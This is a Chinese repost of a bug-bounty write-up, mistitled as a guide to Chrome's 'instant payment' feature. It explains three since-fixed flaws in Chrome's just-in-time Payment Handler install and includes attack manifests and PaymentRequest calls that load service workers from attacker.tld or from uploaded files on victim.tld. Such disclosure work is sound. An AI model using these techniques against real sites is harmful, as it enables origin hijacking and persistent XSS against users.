如何在Chrome中使用即時支付功能

這篇文章將為大家詳細講解有關如何在Chrome中使用即時支付功能，文章內容質量較高，因此小編分享給大家做個參考，希望大家閱讀完這篇文章后對相關知識有一定的了解。

當時我在研究Chrome支付處理API（PaymentHandler API）的時候，我發現了下面這句話：Chrome還支持一個非標準功能，我們將其命名為’及時安裝功能’（JIT）。

非常好，這名字一聽起來就感覺像存在bug的。所以我趕緊對這個功能的工作機制進行了研究【參考資料】。首先，支付處理API允許支付服務提供商處理發送給他們的支付請求，那支付App的JIT安裝功能又是什么呢？具體我就不解釋了，請大家接著往下看。

當客戶端使用服務器不支持的方法來調用支付請求的時候，也就是下面這樣：

new PaymentRequest([{ supportedMethods: 'https://example.com/pay/' }], { ... });

Chrome將會從服務器支持的方法中獲取一個特定的URL地址，用于獲取地址的頁面需要以包含下列響應Header（指向Payment MethodManifest）的響應信息來響應客戶端的請求：

Link:<https://example.com/pay/payment-manifest.json>;rel="payment-method-manifest"

接下來，Chrome將會獲取之前所定義的Payment Method Manifest，文件的大致內容如下所示：

{"default_applications": ["https://example.com/pay/web-app-manifest.json"],"supported_origins": ["https://example.com"] }

然后，Chrome將會獲取之前所定義的Web App Manifest，該文件的內容大致如下：

{
  "name": "Pay withExample",
  ....
  "serviceworker": {
    "src":"service-worker.js",
    "scope":"https://example.com/pay/"
  },
  ...
}

Chrome將會用一個指向“src”和“scope”值的JavaScript文件來注冊Service Worker，這里是JIT安裝過程中用戶可以點擊“支付”按鈕的一種情況：

幸運的是，頁面內的“支付”按鈕默認設置為聚焦的，所以我們就可以想辦法讓目標用戶按住回車鍵3秒鐘，這樣我們就可以觸發JIT安裝功能了。你注意到上圖中有些什么奇怪的地方了嗎？沒錯，支付App的源似乎來自www.google.com。為什么呢？原來我們可以用Service Worker腳本來指定Web App Manifest中“scope”參數的值，也就是可以設置任意值：

{
  "name": "Pay toAttacker",
  ....
  "serviceworker": {
    "src": "https://attacker.tld/service-worker.js",
    "scope":"https://www.google.com/"
  },
  ...
}

盡管如此，這里還是存在一些問題，因為Service Worker仍然會存有攻擊者網站的源地址，即使攻擊者注冊的是Google服務范圍內的地址。我這里沒辦法攔截導航/支付請求，但是我可以使用Console API這樣的API來進行數據分析，而當用戶訪問了google.com的控制臺之后，Console API可以記錄用戶的任意數據。

這個漏洞跟UXSS非常相似，但是我沒辦法成功利用，因為我不應該使用Data URL腳本。當時我將該漏洞上報給Google之后，他們在兩天內修復了該漏洞（Chrome 68禁用了JIT安裝功能）,并提供了5000美金的漏洞獎勵。

這個過程中我還注意到了另一個問題，其實我們根本不需要在目標站點內執行腳本來觸發JIT安裝功能。也就是說，假設攻擊者的站點中托管了如下所示的腳本內容：

new PaymentRequest([{ supportedMethods: 'https://attacker.tld/' }], { ... });

Chrome將會獲取服務器不支持的方法，響應信息的響應Header如下：

Link:<https://attacker.tld/payment-manifest.json>;rel="payment-method-manifest"

接下來，Chrome將會以下列方式獲取Payment Method Manifest：

{"default_applications":["https://victim.tld/user-upload/web-app-manifest.json"],"supported_origins": "*" }

現在，Chrome會從目標站點獲取Web App Manifest，這個Web App Manifest能夠以任意Content-Type或Content-Disposition進行響應。有的人可能會想，“是不是可以用Cross-originNo-CORS來請求一個JSON文件呢？CORB會不會禁用這種請求方式呢？”沒錯，這種請求響應的確會被屏蔽，

盡管如此，Chrome仍會繼續獲取上述的Web App Manifest內容：

{
  "name": "Pay toAttacker",
  ....
  "serviceworker": {
    "src":"https://victim.tld/user-upload/service-worker.js",
    "scope":"https://victim.tld/user-upload/"
  },
  ...
}

Service Worker腳本的Content-Type必須為JavaScript，但如果使用Content-Disposition的話就無所謂了。

總的來說，如果你能夠向目標站點上傳文件的話，你就可以在不需要執行任何腳本的情況下安裝Service Worker了（持久型XSS）。這很明顯又是一個漏洞，上報之后我又拿到了3000美金…

所以，第一個漏洞通過檢測Web App Manifest、Service Worker腳本和Scope URL是否同源來成功修復，第二個漏洞通過檢測Payment Method Manifest和支付App是否在同一網站來成功修復。那么接下來，我們繼續嘗試Hack！

攻擊者的網站調用下列方法：

new PaymentRequest([{ supportedMethods:'https://redirect.victim.tld/open-redirect?url=//attacker.tld/' }], { ... });

Chrome獲取不支持的方法兵重定向至攻擊者的網站，響應信息的響應Header如下：

Link:<https://victim.tld/user-upload/payment-manifest.json>;rel="payment-method-manifest"

接下來還是跟之前一樣，我們只需要向目標站點上傳文件（Payment Method Manifest），如果目標站點開啟了開放重定向功能的話，這樣就能夠繞過所有的安全檢測，因為目標站點中的Service Worker并不需要執行任何腳本。

當然了，這個漏洞在兩天之后已經修復了，然后我又拿到了3133.7美金（7毛是什么鬼？）。

最后，完整的JIT支付App在Chrome 69中正式上線。

關于如何在Chrome中使用即時支付功能就分享到這里了，希望以上內容可以對大家有一定的幫助，可以學到更多知識。如果覺得文章不錯，可以把它分享出去讓更多的人看到。